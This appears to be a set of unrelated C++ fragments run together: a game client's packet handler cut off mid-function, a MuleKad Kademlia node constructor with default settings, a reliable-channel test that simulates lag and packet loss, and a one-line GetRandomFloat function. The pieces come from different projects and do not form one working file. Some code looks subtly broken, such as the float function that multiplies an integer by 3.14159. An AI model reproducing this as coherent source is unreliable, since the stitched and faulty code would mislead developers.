ActionResult.Speed = HUD_ACTIONRESULT_SPEED; } Battle->ActionResults.push_back(ActionResult); } else if(ActionResult.Target.Object == Player) { } } } break; case PacketType::STAT_CHANGE: { _StatChange StatChange; HandleStatChange(Data, StatChange); } break; case PacketType::WORLD_HUD: Player->Health = Data.Read<float>(); Player->Mana = Data.Read<float>(); Player->MaxHealth = Data.Read<float>(); Player->MaxMana = Data.Read<float>(); Player->Experience = Data.Read<int32_t>(); Player->Gold = Data.Read<int32_t>(); Player->CalculateStats(); break; default: break; } }
CMuleKad::CMuleKad(QObject *parent) : CLoggerTmpl<QObject>("MuleKad", parent) { m_uTimerID = startTimer(10); m_pBootstrap = NULL; m_pRequestManager = new CRequestManager(MIN2S(60), this); m_bEmbedded = false; m_uLastContact = 0; CSettings::InitSettingsEnvironment("Neo", "MuleKad", "neoloader.com"); QMap<QString, CSettings::SSetting> Settings; Settings.insert("Kademlia/UDPPort", CSettings::SSetting(GetRandomInt(4800, 4900))); Settings.insert("Kademlia/KadID", CSettings::SSetting("")); Settings.insert("Kademlia/UDPKey", CSettings::SSetting(0)); Settings.insert("Kademlia/Debug", CSettings::SSetting(0)); Settings.insert("Kademlia/Bootstrap", CSettings::SSetting("http://upd.emule-security.org/nodes.dat")); // http://upd.emule-security.org/nodes.dat Settings.insert("Log/Store", CSettings::SSetting(false)); Settings.insert("Log/Limit", CSettings::SSetting(256,128,1024)); Settings.insert("Gui/LogLength", CSettings::SSetting(256,128,1024)); Settings.insert("Gui/Window", CSettings::SSetting("")); Settings.insert("Gui/Main", CSettings::SSetting("")); Settings.insert("Gui/RoutingTable", CSettings::SSetting("")); Settings.insert("Gui/LookupList", CSettings::SSetting("")); m_Settings = new CSettings("MuleKad", Settings, this); m_UDPKey = m_Settings->GetInt("Kademlia/UDPKey"); if(!m_UDPKey) { m_UDPKey = GetRand64(); m_Settings->SetSetting("Kademlia/UDPKey",m_UDPKey); } SetLogLimit(m_Settings->GetInt("Log/Limit")); if(m_Settings->GetBool("Log/Store") ) SetLogPath(m_Settings->GetSettingsDir() + "/Logs"); QStringList Args = QApplication::instance()->arguments(); QString Name; int NameIndex = Args.indexOf("-name"); if(NameIndex != -1 && NameIndex + 1 < Args.size()) Name = Args.at(NameIndex + 1); m_pInterface = new CIPCServer(this); if(Name.isEmpty()) m_pInterface->LocalListen("MuleKad"); else m_pInterface->LocalListen(Name); int ListenIndex = Args.indexOf("-listen"); if(ListenIndex != -1 && ListenIndex + 1 < Args.size()) m_pInterface->RemoteListen(Args.at(ListenIndex + 1).toULong()); connect(m_pInterface, SIGNAL(RequestRecived(const QString&, const QVariant&, QVariant&)), this, SLOT(OnRequestRecived(const QString&, const QVariant&, QVariant&))); #ifdef WIN32 WORD wVersionRequested; WSADATA wsaData; wVersionRequested = MAKEWORD(2, 2); if (0 != WSAStartup(wVersionRequested, &wsaData)) LogLine(LOG_ERROR, L"Couldn't initialise windows sockets"); #endif g_bLogKad = m_Settings->GetInt("Kademlia/Debug") == 1; m_KadID = m_Settings->GetBlob("Kademlia/KadID"); if(m_KadID.size() != 16) { m_KadID = CAbstractKey(16,true).ToByteArray(); m_Settings->SetBlob("Kademlia/KadID",m_KadID); } m_KadHandler = NULL; }
void TestCChannelRobustness() { notes << "Testing CBytestream" << endl; CBytestream bsTest; bsTest.Test(); notes << "\n\n\n\nTesting CChannel robustness" << endl; int lagMin = 50; int lagMax = 400; int packetLoss = 15; // In percents float packetsPerSecond1 = 10.0f; // One channel sends faster than another float packetsPerSecond2 = 0.2f; int packetExtraData = 8192; // Extra data in bytes to add to packet to check buffer overflows CChannel3 c1, c2; //CChannel_056b c1, c2; SmartPointer<NetworkSocket> s1 = new NetworkSocket(); s1->OpenUnreliable(0); SmartPointer<NetworkSocket> s2 = new NetworkSocket(); s2->OpenUnreliable(0); SmartPointer<NetworkSocket> s1lag = new NetworkSocket(); s1lag->OpenUnreliable(0); SmartPointer<NetworkSocket> s2lag = new NetworkSocket(); s2lag->OpenUnreliable(0); NetworkAddr a1, a2, a1lag, a2lag; a1 = s1->localAddress(); a2 = s2->localAddress(); a1lag = s1lag->localAddress(); a2lag = s2lag->localAddress(); c1.Create( a1lag, s1 ); c2.Create( a2lag, s2 ); s1lag->setRemoteAddress( a2 ); s2lag->setRemoteAddress( a1 ); std::multimap< int, CBytestream > s1buf, s2buf; int i1=0, i2=0, i1r=0, i2r=0; float packetDelay1 = 10000000; if( packetsPerSecond1 > 0 ) packetDelay1 = 1000.0f / packetsPerSecond1; float packetDelay2 = 10000000; if( packetsPerSecond2 > 0 ) packetDelay2 = 1000.0f / packetsPerSecond2; float nextPacket1 = 0; float nextPacket2 = 0; for( int testtime=0; testtime < 100000; testtime+= 10, nextPacket1 += 10, nextPacket2 += 10 ) { tLX->currentTime = AbsTime(testtime); // Transmit number sequence and some unreliable info CBytestream b1, b2, b1u, b2u; if( nextPacket1 >= packetDelay1 ) { nextPacket1 = 0; i1++; b1.writeInt(i1, 4); for( int f=0; f<packetExtraData; f++ ) b1.writeByte(0xff); c1.AddReliablePacketToSend(b1); } if( nextPacket2 >= packetDelay2 ) { nextPacket2 = 0; i2++; b2.writeInt(i2, 4); for( int f=0; f<packetExtraData; f++ ) b2.writeByte(0xff); c2.AddReliablePacketToSend(b2); } c1.Transmit( &b1u ); c2.Transmit( &b2u ); b1.Clear(); b2.Clear(); b1.Read(s1lag.get()); b2.Read(s2lag.get()); b1.ResetPosToBegin(); b2.ResetPosToBegin(); // Add the lag if( b1.GetLength() != 0 ) { if( GetRandomInt(100) + 1 < packetLoss ) notes << testtime << ": c1 sent packet - lost (" << c1.Messages.size() << " in buf): " << printBinary(b1.readData()) << endl; else { int lag = ((testtime + lagMin + GetRandomInt(lagMax-lagMin)) / 10)*10; // Round to 10 s1buf.insert( std::make_pair( lag, b1 ) ); notes<< testtime << ": c1 sent packet - lag " << lag << " size " << b1.GetLength() << " (" << c1.Messages.size() << " in buf): " << printBinary(b1.readData()) << endl; } } for( std::multimap< int, CBytestream > :: iterator it = s1buf.lower_bound(testtime); it != s1buf.upper_bound(testtime); it++ ) { it->second.ResetPosToBegin(); it->second.ResetPosToBegin(); it->second.Send(s1lag.get()); } if( b2.GetLength() != 0 ) { if( GetRandomInt(100) + 1 < packetLoss ) notes << testtime << ": c2 sent packet - lost (" << c2.Messages.size() << " in buf): " << printBinary(b2.readData()) << endl; else { int lag = ((testtime + lagMin + GetRandomInt(lagMax-lagMin)) / 10)*10; // Round to 10 s2buf.insert( std::make_pair( lag, b2 ) ); notes << testtime << ": c2 sent packet - lag " << lag << " size " << b2.GetLength() << " (" << c2.Messages.size() << " in buf): " << printBinary(b2.readData()) << endl; } } for( std::multimap< int, CBytestream > :: iterator it = s2buf.lower_bound(testtime); it != s2buf.upper_bound(testtime); it++ ) { it->second.ResetPosToBegin(); it->second.ResetPosToBegin(); it->second.Send(s2lag.get()); } // Receive and check number sequence and unreliable info b1.Clear(); b2.Clear(); b1.Read(s1.get()); b2.Read(s2.get()); b1.ResetPosToBegin(); b2.ResetPosToBegin(); if( b1.GetLength() != 0 ) { notes << testtime << ": c1 recv packet (ping " << c1.getPing() << "): " << printBinary(b1.readData()) << endl; b1.ResetPosToBegin(); while( c1.Process( &b1 ) ) { while( b1.GetRestLen() != 0 ) { int i1rr = b1.readInt(4); notes << testtime << ": c1 reliable packet, data " << hex(i1rr) << " expected " << i1r+1 << " - " << (i1rr == i1r+1 ? "good" : "ERROR!") << endl; i1r = i1rr; for( int f=0; f<packetExtraData; f++ ) b1.readByte(); } b1.Clear(); } } if( b2.GetLength() != 0 ) { notes << testtime << ": c2 recv packet (ping " << c2.getPing() << "): " << printBinary(b2.readData()) << endl; b2.ResetPosToBegin(); while( c2.Process( &b2 ) ) { while( b2.GetRestLen() != 0 ) { int i2rr = b2.readInt(4); notes << testtime << ": c2 reliable packet, data " << hex(i2rr) << " expected " << i2r+1 << " - " << (i2rr == i2r+1 ? "good" : "ERROR!") << endl; i2r = i2rr; for( int f=0; f<packetExtraData; f++ ) b2.readByte(); } b2.Clear(); } } } }
float FrameGenerator::GetRandomFloat() { return ((float) GetRandomInt() * 3.14159); }